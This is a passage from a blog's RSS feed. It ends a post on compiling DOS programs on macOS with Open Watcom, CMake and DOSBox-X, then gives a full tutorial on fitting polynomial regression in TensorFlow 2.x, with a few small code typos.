Portions<span class="w"> </span>Copyright<span class="w"> </span><span class="o">(</span>c<span class="o">)</span><span class="w"> </span><span class="m">1985</span>-2002<span class="w"> </span>Sybase,<span class="w"> </span>Inc.<span class="w"> </span>All<span class="w"> </span>Rights<span class="w"> </span>Reserved.
Source<span class="w"> </span>code<span class="w"> </span>is<span class="w"> </span>available<span class="w"> </span>under<span class="w"> </span>the<span class="w"> </span>Sybase<span class="w"> </span>Open<span class="w"> </span>Watcom<span class="w"> </span>Public<span class="w"> </span>License.
See<span class="w"> </span>https://github.com/open-watcom/open-watcom-v2#readme<span class="w"> </span><span class="k">for</span><span class="w"> </span>details.
loading<span class="w"> </span>object<span class="w"> </span>files
searching<span class="w"> </span>libraries
creating<span class="w"> </span>a<span class="w"> </span>DOS<span class="w"> </span>executable
</code></pre>
</div>

<h3 id="using-cmake">Using CMake</h3>

<p>Create a file called <code>CMakeLists.txt</code></p>

<div class="codehilite">
<pre><span></span><code><span class="nb">project</span><span class="p">(</span><span class="s">hello</span><span class="p">)</span>

<span class="nb">set</span><span class="p">(</span><span class="s">SOURCES</span><span class="w"> </span><span class="s">abc.c</span><span class="p">)</span>

<span class="nb">add_executable</span><span class="p">(</span><span class="s">hello</span><span class="w"> </span><span class="o">${</span><span class="nv">SOURCES</span><span class="o">}</span><span class="p">)</span>
</code></pre>
</div>

<p>Where, <code>abc.c</code> is:</p>

<div class="codehilite">
<pre><span></span><code><span class="cp">#include</span><span class="w"> </span><span class="cpf">&lt;stdio.h&gt;</span>

<span class="kt">int</span><span class="w"> </span><span class="nf">main</span><span class="p">()</span><span class="w"> </span><span class="p">{</span>
<span class="w">    </span><span class="n">printf</span><span class="p">(</span><span class="s">&quot;Does this work?&quot;</span><span class="p">);</span>
<span class="w">    </span><span class="k">return</span><span class="w"> </span><span class="mi">0</span><span class="p">;</span>
<span class="p">}</span>
</code></pre>
</div>

<div class="codehilite">
<pre><span></span><code>mkdir<span class="w"> </span>build
<span class="nb">cd</span><span class="w"> </span>build
</code></pre>
</div>

<p>And build using CMake</p>

<pre><code>cmake -DCMAKE_SYSTEM_NAME=DOS -DCMAKE_SYSTEM_PROCESSOR=I86 -DCMAKE_C_FLAGS="-0 -bt=dos -d0 -oaxt" -G "Watcom WMake" ../..
</code></pre>

<p>There you have it. Three different ways to compile a C program on a macOS device in 2024 that can run on an IBM PC 5150 (which was released in 1981!)</p>

<h2 id="testing-with-dosbox-x">Testing with DOSBox-X</h2>

<div class="codehilite">
<pre><span></span><code>cp<span class="w"> </span>example1.exe<span class="w"> </span>~/Downloads
/Applications/dosbox-x.app/Contents/MacOS/dosbox-x
</code></pre>
</div>

<p>In DOSBox-X we now mount the <code>~/Downloads</code> folder as our <code>C:</code> drive</p>

<pre><code>mount C ~/Downloads
</code></pre>

<p>Switch to the C drive</p>

<pre><code>C:
</code></pre>

<p>Run the program:</p>

<pre><code>example1
</code></pre>

<p><img src="/assets/posts/dosbox/hello-world.png" alt="Running our program in DOSBox-X" /></p>

<p><em>My DOSBox setup might look slightly different than yours...</em></p>
]]></content:encoded>
		</item>
		
		<item>
			<guid isPermaLink="true">
				https://web.navan.dev/posts/2024-03-21-Polynomial-Regression-in-TensorFlow-2.html
			</guid>
			<title>
				Polynomial Regression Using TensorFlow 2.x
			</title>
			<description>
				Predicting n-th degree polynomials using TensorFlow 2.x
			</description>
			<link>https://web.navan.dev/posts/2024-03-21-Polynomial-Regression-in-TensorFlow-2.html</link>
			<pubDate>Thu, 21 Mar 2024 12:46:00 -0000</pubDate>
			<content:encoded><![CDATA[<h1 id="polynomial-regression-using-tensorflow-2x">Polynomial Regression Using TensorFlow 2.x</h1>

<p>I have a similar post titled <a rel="noopener" target="_blank" href="/posts/2019-12-16-TensorFlow-Polynomial-Regression.html">Polynomial Regression Using Tensorflow</a> that used <code>tensorflow.compat.v1</code> (Which still works as of TF 2.16). But, I thought it would be nicer to redo it with newer TF versions. </p>

<p>I will be skipping all the introductions about polynomial regression and jumping straight to the code. Personally, I prefer using <code>scikit-learn</code> for this task.</p>

<h2 id="position-vs-salary-dataset">Position vs Salary Dataset</h2>

<p>Again, we will be using https://drive.google.com/file/d/1tNL4jxZEfpaP4oflfSn6pIHJX7Pachm9/view (Salary vs Position Dataset)</p>

<p>If you are in a Python Notebook environment like Kaggle or Google Colaboratory, you can simply run:</p>

<div class="codehilite">
<pre><span></span><code><span class="nt">!wget</span><span class="na"> --no-check-certificate &#39;https</span><span class="p">:</span><span class="nc">//docs.google.com/uc?export</span><span class="o">=</span><span class="l">download&amp;id=1tNL4jxZEfpaP4oflfSn6pIHJX7Pachm9&#39; -O data.csv</span>
</code></pre>
</div>

<h2 id="code">Code</h2>

<p>If you just want to copy-paste the code, scroll to the bottom for the entire snippet. Here I will try and walk through setting up code for a 3rd-degree (cubic) polynomial</p>

<h3 id="imports">Imports</h3>

<div class="codehilite">
<pre><span></span><code><span class="kn">import</span> <span class="nn">pandas</span> <span class="k">as</span> <span class="nn">pd</span>
<span class="kn">import</span> <span class="nn">tensorflow</span> <span class="k">as</span> <span class="nn">tf</span>
<span class="kn">import</span> <span class="nn">matplotlib.pyplot</span> <span class="k">as</span> <span class="nn">plt</span>
<span class="kn">import</span> <span class="nn">numpy</span> <span class="k">as</span> <span class="nn">np</span>
</code></pre>
</div>

<h3 id="reading-the-dataset">Reading the Dataset</h3>

<div class="codehilite">
<pre><span></span><code><span class="n">df</span> <span class="o">=</span> <span class="n">pd</span><span class="o">.</span><span class="n">read_csv</span><span class="p">(</span><span class="s2">&quot;data.csv&quot;</span><span class="p">)</span>
</code></pre>
</div>

<h3 id="variables-and-constants">Variables and Constants</h3>

<p>Here, we initialize the X and Y values as constants, since they are not going to change. The coefficients are defined as variables.</p>

<div class="codehilite">
<pre><span></span><code><span class="n">X</span> <span class="o">=</span> <span class="n">tf</span><span class="o">.</span><span class="n">constant</span><span class="p">(</span><span class="n">df</span><span class="p">[</span><span class="s2">&quot;Level&quot;</span><span class="p">],</span> <span class="n">dtype</span><span class="o">=</span><span class="n">tf</span><span class="o">.</span><span class="n">float32</span><span class="p">)</span>
<span class="n">Y</span> <span class="o">=</span> <span class="n">tf</span><span class="o">.</span><span class="n">constant</span><span class="p">(</span><span class="n">df</span><span class="p">[</span><span class="s2">&quot;Salary&quot;</span><span class="p">],</span> <span class="n">dtype</span><span class="o">=</span><span class="n">tf</span><span class="o">.</span><span class="n">float32</span><span class="p">)</span>

<span class="n">coefficients</span> <span class="o">=</span> <span class="p">[</span><span class="n">tf</span><span class="o">.</span><span class="n">Variable</span><span class="p">(</span><span class="n">np</span><span class="o">.</span><span class="n">random</span><span class="o">.</span><span class="n">randn</span><span class="p">()</span> <span class="o">*</span> <span class="mf">0.01</span><span class="p">,</span> <span class="n">dtype</span><span class="o">=</span><span class="n">tf</span><span class="o">.</span><span class="n">float32</span><span class="p">)</span> <span class="k">for</span> <span class="n">_</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="mi">4</span><span class="p">)]</span>
</code></pre>
</div>

<p>Here, <code>X</code> and <code>Y</code> are the values from our dataset. We initialize the coefficients for the equations as small random values.</p>

<p>These coefficients are evaluated by Tensorflow's <code>tf.math.poyval</code> function which returns the n-th order polynomial based on how many coefficients are passed. Since our list of coefficients contains 4 different variables, it will be evaluated as:</p>

<pre><code>y = (x**3)*coefficients[3] + (x**2)*coefficients[2] + (x**1)*coefficients[1] (x**0)*coefficients[0]
</code></pre>

<p>Which is equivalent to the general cubic equation:</p>

<script src="https://cdn.jsdelivr.net/npm/mathjax@4.0.0-beta.4/tex-mml-chtml.js" id="MathJax-script"></script>

<script src="https://cdn.jsdelivr.net/npm/mathjax@4.0.0-beta.4/input/tex/extensions/noerrors.js" charset="UTF-8"></script>

<math xmlns="http://www.w3.org/1998/Math/MathML" display="block"><mrow><mi>y</mi><mo>&#x0003D;</mo><mi>a</mi><msup><mi>x</mi><mn>3</mn></msup><mo>&#x0002B;</mo><mi>b</mi><msup><mi>x</mi><mn>2</mn></msup><mo>&#x0002B;</mo><mi>c</mi><mi>x</mi><mo>&#x0002B;</mo><mi>d</mi></mrow></math>

<h3 id="optimizer-selection-training">Optimizer Selection &amp; Training</h3>

<div class="codehilite">
<pre><span></span><code><span class="n">optimizer</span> <span class="o">=</span> <span class="n">tf</span><span class="o">.</span><span class="n">keras</span><span class="o">.</span><span class="n">optimizers</span><span class="o">.</span><span class="n">Adam</span><span class="p">(</span><span class="n">learning_rate</span><span class="o">=</span><span class="mf">0.3</span><span class="p">)</span>
<span class="n">num_epochs</span> <span class="o">=</span> <span class="mi">10_000</span>

<span class="k">for</span> <span class="n">epoch</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="n">num_epochs</span><span class="p">):</span>
    <span class="k">with</span> <span class="n">tf</span><span class="o">.</span><span class="n">GradientTape</span><span class="p">()</span> <span class="k">as</span> <span class="n">tape</span><span class="p">:</span>
        <span class="n">y_pred</span> <span class="o">=</span> <span class="n">tf</span><span class="o">.</span><span class="n">math</span><span class="o">.</span><span class="n">polyval</span><span class="p">(</span><span class="n">coefficients</span><span class="p">,</span> <span class="n">X</span><span class="p">)</span>
        <span class="n">loss</span> <span class="o">=</span> <span class="n">tf</span><span class="o">.</span><span class="n">reduce_mean</span><span class="p">(</span><span class="n">tf</span><span class="o">.</span><span class="n">square</span><span class="p">(</span><span class="n">y</span> <span class="o">-</span> <span class="n">y_pred</span><span class="p">))</span>
    <span class="n">grads</span> <span class="o">=</span> <span class="n">tape</span><span class="o">.</span><span class="n">gradient</span><span class="p">(</span><span class="n">loss</span><span class="p">,</span> <span class="n">coefficients</span><span class="p">)</span>
    <span class="n">optimizer</span><span class="o">.</span><span class="n">apply_gradients</span><span class="p">(</span><span class="nb">zip</span><span class="p">(</span><span class="n">grads</span><span class="p">,</span> <span class="n">coefficients</span><span class="p">))</span>
    <span class="k">if</span> <span class="p">(</span><span class="n">epoch</span><span class="o">+</span><span class="mi">1</span><span class="p">)</span> <span class="o">%</span> <span class="mi">1000</span> <span class="o">==</span> <span class="mi">0</span><span class="p">:</span>
        <span class="nb">print</span><span class="p">(</span><span class="sa">f</span><span class="s2">&quot;Epoch: </span><span class="si">{</span><span class="n">epoch</span><span class="o">+</span><span class="mi">1</span><span class="si">}</span><span class="s2">, Loss: </span><span class="si">{</span><span class="n">loss</span><span class="o">.</span><span class="n">numpy</span><span class="p">()</span><span class="si">}</span><span class="s2">&quot;</span>
</code></pre>
</div>

<p>In TensorFlow 1, we would have been using <code>tf.Session</code> instead. </p>

<p>Here we are using <code>GradientTape()</code> instead, to keep track of the loss evaluation and coefficients. This is crucial, as our optimizer needs these gradients to be able to optimize our coefficients. </p>

<p>Our loss function is Mean Squared Error (MSE):</p>

<math xmlns="http://www.w3.org/1998/Math/MathML" display="block"><mrow><mo>&#x0003D;</mo><mfrac><mrow><mn>1</mn></mrow><mrow><mi>n</mi></mrow></mfrac><msubsup><mo>&#x02211;</mo><mrow><mi>i</mi><mo>&#x0003D;</mo><mn>1</mn></mrow><mrow><mi>n</mi></mrow></msubsup><mrow><mo stretchy="false">&#x00028;</mo><mi>Y</mi><mi>&#x0005F;</mi><mi>i</mi><mo>&#x02212;</mo><mover><mrow><mi>Y</mi><mi>&#x0005F;</mi><mi>i</mi></mrow><mo stretchy="false">&#x0005E;</mo></mover><msup><mo stretchy="false">&#x00029;</mo><mn>2</mn></msup></mrow></mrow></math>

<p>Where <math xmlns="http://www.w3.org/1998/Math/MathML"><mover><msub><mi>Y</mi><mi>i</mi></msub><mo stretchy="false" style="math-style:normal;math-depth:0;">^</mo></mover></math> is the predicted value and <math xmlns="http://www.w3.org/1998/Math/MathML"><msub><mi>Y</mi><mi>i</mi></msub></math> is the actual value</p>

<h3 id="plotting-final-coefficients">Plotting Final Coefficients</h3>

<div class="codehilite">
<pre><span></span><code><span class="n">final_coefficients</span> <span class="o">=</span> <span class="p">[</span><span class="n">c</span><span class="o">.</span><span class="n">numpy</span><span class="p">()</span> <span class="k">for</span> <span class="n">c</span> <span class="ow">in</span> <span class="n">coefficients</span><span class="p">]</span>
<span class="nb">print</span><span class="p">(</span><span class="s2">&quot;Final Coefficients:&quot;</span><span class="p">,</span> <span class="n">final_coefficients</span><span class="p">)</span>

<span class="n">plt</span><span class="o">.</span><span class="n">plot</span><span class="p">(</span><span class="n">df</span><span class="p">[</span><span class="s2">&quot;Level&quot;</span><span class="p">],</span> <span class="n">df</span><span class="p">[</span><span class="s2">&quot;Salary&quot;</span><span class="p">],</span> <span class="n">label</span><span class="o">=</span><span class="s2">&quot;Original Data&quot;</span><span class="p">)</span>
<span class="n">plt</span><span class="o">.</span><span class="n">plot</span><span class="p">(</span><span class="n">df</span><span class="p">[</span><span class="s2">&quot;Level&quot;</span><span class="p">],[</span><span class="n">tf</span><span class="o">.</span><span class="n">math</span><span class="o">.</span><span class="n">polyval</span><span class="p">(</span><span class="n">final_coefficients</span><span class="p">,</span> <span class="n">tf</span><span class="o">.</span><span class="n">constant</span><span class="p">(</span><span class="n">x</span><span class="p">,</span> <span class="n">dtype</span><span class="o">=</span><span class="n">tf</span><span class="o">.</span><span class="n">float32</span><span class="p">))</span><span class="o">.</span><span class="n">numpy</span><span class="p">()</span> <span class="k">for</span> <span class="n">x</span> <span class="ow">in</span> <span class="n">df</span><span class="p">[</span><span class="s2">&quot;Level&quot;</span><span class="p">]])</span>
<span class="n">plt</span><span class="o">.</span><span class="n">ylabel</span><span class="p">(</span><span class="s1">&#39;Salary&#39;</span><span class="p">)</span>
<span class="n">plt</span><span class="o">.</span><span class="n">xlabel</span><span class="p">(</span><span class="s1">&#39;Position&#39;</span><span class="p">)</span>
<span class="n">plt</span><span class="o">.</span><span class="n">title</span><span class="p">(</span><span class="s2">&quot;Salary vs Position&quot;</span><span class="p">)</span>
<span class="n">plt</span><span class="o">.</span><span class="n">show</span><span class="p">()</span>
</code></pre>
</div>

<h2 id="code-snippet-for-a-polynomial-of-degree-n">Code Snippet for a Polynomial of Degree N</h2>

<h3 id="using-gradient-tape">Using Gradient Tape</h3>

<p>This should work regardless of the Keras backend version (2 or 3)</p>

<div class="codehilite">
<pre><span></span><code><span class="kn">import</span> <span class="nn">tensorflow</span> <span class="k">as</span> <span class="nn">tf</span>
<span class="kn">import</span> <span class="nn">numpy</span> <span class="k">as</span> <span class="nn">np</span>
<span class="kn">import</span> <span class="nn">pandas</span> <span class="k">as</span> <span class="nn">pd</span>
<span class="kn">import</span> <span class="nn">matplotlib.pyplot</span> <span class="k">as</span> <span class="nn">plt</span>

<span class="n">df</span> <span class="o">=</span> <span class="n">pd</span><span class="o">.</span><span class="n">read_csv</span><span class="p">(</span><span class="s2">&quot;data.csv&quot;</span><span class="p">)</span>

<span class="c1">############################</span>
<span class="c1">## Change Parameters Here ##</span>
<span class="c1">############################</span>
<span class="n">x_column</span> <span class="o">=</span> <span class="s2">&quot;Level&quot;</span>         <span class="c1">#</span>
<span class="n">y_column</span> <span class="o">=</span> <span class="s2">&quot;Salary&quot;</span>        <span class="c1">#</span>
<span class="n">degree</span> <span class="o">=</span> <span class="mi">2</span>                 <span class="c1">#</span>
<span class="n">learning_rate</span> <span class="o">=</span> <span class="mf">0.3</span>        <span class="c1">#</span>
<span class="n">num_epochs</span> <span class="o">=</span> <span class="mi">25_000</span>        <span class="c1">#</span>
<span class="c1">############################</span>

<span class="n">X</span> <span class="o">=</span> <span class="n">tf</span><span class="o">.</span><span class="n">constant</span><span class="p">(</span><span class="n">df</span><span class="p">[</span><span class="n">x_column</span><span class="p">],</span> <span class="n">dtype</span><span class="o">=</span><span class="n">tf</span><span class="o">.</span><span class="n">float32</span><span class="p">)</span>
<span class="n">Y</span> <span class="o">=</span> <span class="n">tf</span><span class="o">.</span><span class="n">constant</span><span class="p">(</span><span class="n">df</span><span class="p">[</span><span class="n">y_column</span><span class="p">],</span> <span class="n">dtype</span><span class="o">=</span><span class="n">tf</span><span class="o">.</span><span class="n">float32</span><span class="p">)</span>

<span class="n">coefficients</span> <span class="o">=</span> <span class="p">[</span><span class="n">tf</span><span class="o">.</span><span class="n">Variable</span><span class="p">(</span><span class="n">np</span><span class="o">.</span><span class="n">random</span><span class="o">.</span><span class="n">randn</span><span class="p">()</span> <span class="o">*</span> <span class="mf">0.01</span><span class="p">,</span> <span class="n">dtype</span><span class="o">=</span><span class="n">tf</span><span class="o">.</span><span class="n">float32</span><span class="p">)</span> <span class="k">for</span> <span class="n">_</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="n">degree</span> <span class="o">+</span> <span class="mi">1</span><span class="p">)]</span>

<span class="n">optimizer</span> <span class="o">=</span> <span class="n">tf</span><span class="o">.</span><span class="n">keras</span><span class="o">.</span><span class="n">optimizers</span><span class="o">.</span><span class="n">Adam</span><span class="p">(</span><span class="n">learning_rate</span><span class="o">=</span><span class="n">learning_rate</span><span class="p">)</span>

<span class="k">for</span> <span class="n">epoch</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="n">num_epochs</span><span class="p">):</span>
    <span class="k">with</span> <span class="n">tf</span><span class="o">.</span><span class="n">GradientTape</span><span class="p">()</span> <span class="k">as</span> <span class="n">tape</span><span class="p">:</span>
        <span class="n">y_pred</span> <span class="o">=</span> <span class="n">tf</span><span class="o">.</span><span class="n">math</span><span class="o">.</span><span class="n">polyval</span><span class="p">(</span><span class="n">coefficients</span><span class="p">,</span> <span class="n">X</span><span class="p">)</span>
        <span class="n">loss</span> <span class="o">=</span> <span class="n">tf</span><span class="o">.</span><span class="n">reduce_mean</span><span class="p">(</span><span class="n">tf</span><span class="o">.</span><span class="n">square</span><span class="p">(</span><span class="n">Y</span> <span class="o">-</span> <span class="n">y_pred</span><span class="p">))</span>
    <span class="n">grads</span> <span class="o">=</span> <span class="n">tape</span><span class="o">.</span><span class="n">gradient</span><span class="p">(</span><span class="n">loss</span><span class="p">,</span> <span class="n">coefficients</span><span class="p">)</span>
    <span class="n">optimizer</span><span class="o">.</span><span class="n">apply_gradients</span><span class="p">(</span><span class="nb">zip</span><span class="p">(</span><span class="n">grads</span><span class="p">,</span> <span class="n">coefficients</span><span class="p">))</span>
    <span class="k">if</span> <span class="p">(</span><span class="n">epoch</span><span class="o">+</span><span class="mi">1</span><span class="p">)</span> <span class="o">%</span> <span class="mi">1000</span> <span class="o">==</span> <span class="mi">0</span><span class="p">:</span>
        <span class="nb">print</span><span class="p">(</span><span class="sa">f</span><span class="s2">&quot;Epoch: </span><span class="si">{</span><span class="n">epoch</span><span class="o">+</span><span class="mi">1</span><span class="si">}</span><span class="s2">, Loss: </span><span class="si">{</span><span class="n">loss</span><span class="o">.</span><span class="n">numpy</span><span class="p">()</span><span class="si">}</span><span class="s2">&quot;</span><span class="p">)</span>

<span class="n">final_coefficients</span> <span class="o">=</span> <span class="p">[</span><span class="n">c</span><span class="o">.</span><span class="n">numpy</span><span class="p">()</span> <span class="k">for</span> <span class="n">c</span> <span class="ow">in</span> <span class="n">coefficients</span><span class="p">]</span>
<span class="nb">print</span><span class="p">(</span><span class="s2">&quot;Final Coefficients:&quot;</span><span class="p">,</span> <span class="n">final_coefficients</span><span class="p">)</span>

<span class="nb">print</span><span class="p">(</span><span class="s2">&quot;Final Equation:&quot;</span><span class="p">,</span> <span class="n">end</span><span class="o">=</span><span class="s2">&quot; &quot;</span><span class="p">)</span>
<span class="k">for</span> <span class="n">i</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="n">degree</span><span class="o">+</span><span class="mi">1</span><span class="p">):</span>
  <span class="nb">print</span><span class="p">(</span><span class="sa">f</span><span class="s2">&quot;</span><span class="si">{</span><span class="n">final_coefficients</span><span class="p">[</span><span class="n">i</span><span class="p">]</span><span class="si">}</span><span class="s2"> * x^</span><span class="si">{</span><span class="n">degree</span><span class="o">-</span><span class="n">i</span><span class="si">}</span><span class="s2">&quot;</span><span class="p">,</span> <span class="n">end</span><span class="o">=</span><span class="s2">&quot; + &quot;</span> <span class="k">if</span> <span class="n">i</span> <span class="o">&lt;</span> <span class="n">degree</span> <span class="k">else</span> <span class="s2">&quot;</span><span class="se">\n</span><span class="s2">&quot;</span><span class="p">)</span>

<span class="n">plt</span><span class="o">.</span><span class="n">plot</span><span class="p">(</span><span class="n">X</span><span class="p">,</span> <span class="n">Y</span><span class="p">,</span> <span class="n">label</span><span class="o">=</span><span class="s2">&quot;Original Data&quot;</span><span class="p">)</span>
<span class="n">plt</span><span class="o">.</span><span class="n">plot</span><span class="p">(</span><span class="n">X</span><span class="p">,[</span><span class="n">tf</span><span class="o">.</span><span class="n">math</span><span class="o">.</span><span class="n">polyval</span><span class="p">(</span><span class="n">final_coefficients</span><span class="p">,</span> <span class="n">tf</span><span class="o">.</span><span class="n">constant</span><span class="p">(</span><span class="n">x</span><span class="p">,</span> <span class="n">dtype</span><span class="o">=</span><span class="n">tf</span><span class="o">.</span><span class="n">float32</span><span class="p">))</span><span class="o">.</span><span class="n">numpy</span><span class="p">()</span> <span class="k">for</span> <span class="n">x</span> <span class="ow">in</span> <span class="n">df</span><span class="p">[</span><span class="n">x_column</span><span class="p">]]),</span> <span class="n">label</span><span class="o">=</span><span class="s2">&quot;Our Poynomial&quot;</span>
<span class="n">plt</span><span class="o">.</span><span class="n">ylabel</span><span class="p">(</span><span class="n">y_column</span><span class="p">)</span>
<span class="n">plt</span><span class="o">.</span><span class="n">xlabel</span><span class="p">(</span><span class="n">x_column</span><span class="p">)</span>
<span class="n">plt</span><span class="o">.</span><span class="n">title</span><span class="p">(</span><span class="sa">f</span><span class="s2">&quot;</span><span class="si">{</span><span class="n">x_column</span><span class="si">}</span><span class="s2"> vs </span><span class="si">{</span><span class="n">y_column</span><span class="si">}</span><span class="s2">&quot;</span><span class="p">)</span>
<span class="n">plt</span><span class="o">.</span><span class="n">legend</span><span class="p">()</span>
<span class="n">plt</span><span class="o">.</span><span class="n">show</span><span class="p">()</span>
</code></pre>
</div>

<h3 id="without-gradient-tape">Without Gradient Tape</h3>

<p>This relies on the Optimizer's <code>minimize</code> function and uses the <code>var_list</code> parameter to update the variables.</p>

<p>This will not work with Keras 3 backend in TF 2.16.0 and above unless you switch to the legacy backend.</p>

<div class="codehilite">
<pre><span></span><code><span class="kn">import</span> <span class="nn">tensorflow</span> <span class="k">as</span> <span class="nn">tf</span>
<span class="kn">import</span> <span class="nn">numpy</span> <span class="k">as</span> <span class="nn">np</span>
<span class="kn">import</span> <span class="nn">pandas</span> <span class="k">as</span> <span class="nn">pd</span>
<span class="kn">import</span> <span class="nn">matplotlib.pyplot</span> <span class="k">as</span> <span class="nn">plt</span>

<span class="n">df</span> <span class="o">=</span> <span class="n">pd</span><span class="o">.</span><span class="n">read_csv</span><span class="p">(</span><span class="s2">&quot;data.csv&quot;</span><span class="p">)</span>

<span class="c1">############################</span>
<span class="c1">## Change Parameters Here ##</span>
<span class="c1">############################</span>
<span class="n">x_column</span> <span class="o">=</span> <span class="s2">&quot;Level&quot;</span>         <span class="c1">#</span>
<span class="n">y_column</span> <span class="o">=</span> <span class="s2">&quot;Salary&quot;</span>        <span class="c1">#</span>
<span class="n">degree</span> <span class="o">=</span> <span class="mi">2</span>                 <span class="c1">#</span>
<span class="n">learning_rate</span> <span class="o">=</span> <span class="mf">0.3</span>        <span class="c1">#</span>
<span class="n">num_epochs</span> <span class="o">=</span> <span class="mi">25_000</span>        <span class="c1">#</span>
<span class="c1">############################</span>

<span class="n">X</span> <span class="o">=</span> <span class="n">tf</span><span class="o">.</span><span class="n">constant</span><span class="p">(</span><span class="n">df</span><span class="p">[</span><span class="n">x_column</span><span class="p">],</span> <span class="n">dtype</span><span class="o">=</span><span class="n">tf</span><span class="o">.</span><span class="n">float32</span><span class="p">)</span>
<span class="n">Y</span> <span class="o">=</span> <span class="n">tf</span><span class="o">.</span><span class="n">constant</span><span class="p">(</span><span class="n">df</span><span class="p">[</span><span class="n">y_column</span><span class="p">],</span> <span class="n">dtype</span><span class="o">=</span><span class="n">tf</span><span class="o">.</span><span class="n">float32</span><span class="p">)</span>

<span class="n">coefficients</span> <span class="o">=</span> <span class="p">[</span><span class="n">tf</span><span class="o">.</span><span class="n">Variable</span><span class="p">(</span><span class="n">np</span><span class="o">.</span><span class="n">random</span><span class="o">.</span><span class="n">randn</span><span class="p">()</span> <span class="o">*</span> <span class="mf">0.01</span><span class="p">,</span> <span class="n">dtype</span><span class="o">=</span><span class="n">tf</span><span class="o">.</span><span class="n">float32</span><span class="p">)</span> <span class="k">for</span> <span class="n">_</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="n">degree</span> <span class="o">+</span> <span class="mi">1</span><span class="p">)]</span>

<span class="n">optimizer</span> <span class="o">=</span> <span class="n">tf</span><span class="o">.</span><span class="n">keras</span><span class="o">.</span><span class="n">optimizers</span><span class="o">.</span><span class="n">Adam</span><span class="p">(</span><span class="n">learning_rate</span><span class="o">=</span><span class="n">learning_rate</span><span class="p">)</span>

<span class="k">def</span> <span class="nf">loss_function</span><span class="p">():</span>
  <span class="n">pred_y</span> <span class="o">=</span> <span class="n">tf</span><span class="o">.</span><span class="n">math</span><span class="o">.</span><span class="n">polyval</span><span class="p">(</span><span class="n">coefficients</span><span class="p">,</span> <span class="n">X</span><span class="p">)</span>
  <span class="k">return</span> <span class="n">tf</span><span class="o">.</span><span class="n">reduce_mean</span><span class="p">(</span><span class="n">tf</span><span class="o">.</span><span class="n">square</span><span class="p">(</span><span class="n">pred_y</span> <span class="o">-</span> <span class="n">Y</span><span class="p">))</span>

<span class="k">for</span> <span class="n">epoch</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="n">num_epochs</span><span class="p">):</span>
    <span class="n">optimizer</span><span class="o">.</span><span class="n">minimize</span><span class="p">(</span><span class="n">loss_function</span><span class="p">,</span> <span class="n">var_list</span><span class="o">=</span><span class="n">coefficients</span><span class="p">)</span>
    <span class="k">if</span> <span class="p">(</span><span class="n">epoch</span><span class="o">+</span><span class="mi">1</span><span class="p">)</span> <span class="o">%</span> <span class="mi">1000</span> <span class="o">==</span> <span class="mi">0</span><span class="p">:</span>
        <span class="n">current_loss</span> <span class="o">=</span> <span class="n">loss_function</span><span class="p">()</span><span class="o">.</span><span class="n">numpy</span><span class="p">()</span>
        <span class="nb">print</span><span class="p">(</span><span class="sa">f</span><span class="s2">&quot;Epoch </span><span class="si">{</span><span class="n">epoch</span><span class="o">+</span><span class="mi">1</span><span class="si">}</span><span class="s2">: Training Loss: </span><span class="si">{</span><span class="n">current_loss</span><span class="si">}</span><span class="s2">&quot;</span><span class="p">)</span>

<span class="n">final_coefficients</span> <span class="o">=</span> <span class="n">coefficients</span><span class="o">.</span><span class="n">numpy</span><span class="p">()</span>
<span class="nb">print</span><span class="p">(</span><span class="s2">&quot;Final Coefficients:&quot;</span><span class="p">,</span> <span class="n">final_coefficients</span><span class="p">)</span>

<span class="nb">print</span><span class="p">(</span><span class="s2">&quot;Final Equation:&quot;</span><span class="p">,</span> <span class="n">end</span><span class="o">=</span><span class="s2">&quot; &quot;</span><span class="p">)</span>
<span class="k">for</span> <span class="n">i</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="n">degree</span><span class="o">+</span><span class="mi">1</span><span class="p">):</span>
  <span class="nb">print</span><span class="p">(</span><span class="sa">f</span><span class="s2">&quot;</span><span class="si">{</span><span class="n">final_coefficients</span><span class="p">[</span><span class="n">i</span><span class="p">]</span><span class="si">}</span><span class="s2"> * x^</span><span class="si">{</span><span class="n">degree</span><span class="o">-</span><span class="n">i</span><span class="si">}</span><span class="s2">&quot;</span><span class="p">,</span> <span class="n">end</span><span class="o">=</span><span class="s2">&quot; + &quot;</span> <span class="k">if</span> <span class="n">i</span> <span class="o">&lt;</span> <span class="n">degree</span> <span class="k">else</span> <span class="s2">&quot;</span><span class="se">\n</span><span class="s2">&quot;</span><span class="p">)</span>

<span class="n">plt</span><span class="o">.</span><span class="n">plot</span><span class="p">(</span><span class="n">X</span><span class="p">,</span> <span class="n">Y</span><span class="p">,</span> <span class="n">label</span><span class="o">=</span><span class="s2">&quot;Original Data&quot;</span><span class="p">)</span>
<span class="n">plt</span><span class="o">.</span><span class="n">plot</span><span class="p">(</span><span class="n">X</span><span class="p">,[</span><span class="n">tf</span><span class="o">.</span><span class="n">math</span><span class="o">.</span><span class="n">polyval</span><span class="p">(</span><span class="n">final_coefficients</span><span class="p">,</span> <span class="n">tf</span><span class="o">.</span><span class="n">constant</span><span class="p">(</span><span class="n">x</span><span class="p">,</span> <span class="n">dtype</span><span class="o">=</span><span class="n">tf</span><span class="o">.</span><span class="n">float32</span><span class="p">))</span><span class="o">.</span><span class="n">numpy</span><span class="p">()</span> <span class="k">for</span> <span class="n">x</span> <span class="ow">in</span> <span class="n">df</span><span class="p">[</span><span class="n">x_column</span><span class="p">]],</span> <span class="n">label</span><span class="o">=</span><span class="s2">&quot;Our Polynomial&quot;</span><span class="p">)</span>
<span class="n">plt</span><span class="o">.</span><span class="n">ylabel</span><span class="p">(</span><span class="n">y_column</span><span class="p">)</span>
<span class="n">plt</span><span class="o">.</span><span class="n">xlabel</span><span class="p">(</span><span class="n">x_column</span><span class="p">)</span>
<span class="n">plt</span><span class="o">.</span><span class="n">legend</span><span class="p">()</span>
<span class="n">plt</span><span class="o">.</span><span class="n">title</span><span class="p">(</span><span class="sa">f</span><span class="s2">&quot;</span><span class="si">{</span><span class="n">x_column</span><span class="si">}</span><span class="s2"> vs </span><span class="si">{</span><span class="n">y_column</span><span class="si">}</span><span class="s2">&quot;</span><span class="p">)</span>
<span class="n">plt</span><span class="o">.</span><span class="n">show</span><span class="p">()</span>
</code></pre>
